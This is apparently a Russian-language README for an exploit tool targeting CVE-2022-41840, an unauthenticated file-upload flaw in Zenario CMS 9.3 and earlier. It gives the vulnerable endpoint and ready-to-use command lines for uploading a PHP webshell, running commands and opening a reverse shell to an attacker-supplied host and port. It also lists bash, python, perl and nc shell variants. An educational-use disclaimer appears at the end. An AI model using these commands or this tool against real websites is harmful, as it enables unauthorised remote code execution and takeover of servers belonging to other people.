Zenario CMS 9.3 - Неаутентифицированный эксплойт RCE

CVE-2022-41840

Неаутентифицированная уязвимость удаленного выполнения кода (RCE), затрагивающая Zenario CMS версии 9.3 и более ранние. Эксплойт использует уязвимость загрузки файлов в AJAX-эндпоинте для загрузки PHP-вебшелла и достижения выполнения кода.

Детали уязвимости

• CVE: CVE-2022-41840
• Затронутая версия: Zenario CMS <= 9.3
• Тип уязвимости: Неаутентифицированная загрузка файлов, ведущая к RCE
• Вектор атаки: HTTP POST на /zenario/ajax.php
• Требуемые привилегии: Нет (неаутентифицированный)

Использование

Интерактивный вебшелл

python3 zenario_exploit.py --target http://target.com

Выполнение одной команды

python3 zenario_exploit.py --target http://target.com --cmd "id"

Реверс-шелл

python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

Требования

• Python 3.x
• библиотека requests

Установка зависимостей:

pip install requests

Возможности

• Автоматическая загрузка PHP-вебшелла через уязвимый AJAX-эндпоинт
• Поддержка нескольких значений instanceId для повышения вероятности успеха
• Извлечение пути на основе JSON и регулярных выражений
• Несколько вариантов полезной нагрузки реверс-шелла (bash, python, perl, nc)
• Полностью интерактивная PTY-оболочка с поддержкой терминала
• Откат к вебшеллу при неудаче реверс-шелла

Отказ от ответственности

Только для образовательных целей и авторизованного тестирования безопасности.

Этот инструмент предоставляется исследователям безопасности и пентестерам для тестирования систем, которыми они владеют или на тестирование которых имеют явное разрешение. Несанкционированный доступ к компьютерным системам является незаконным и строго запрещен.

Сопровождающие не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.

Лицензия

Этот код предоставлен в образовательных целях.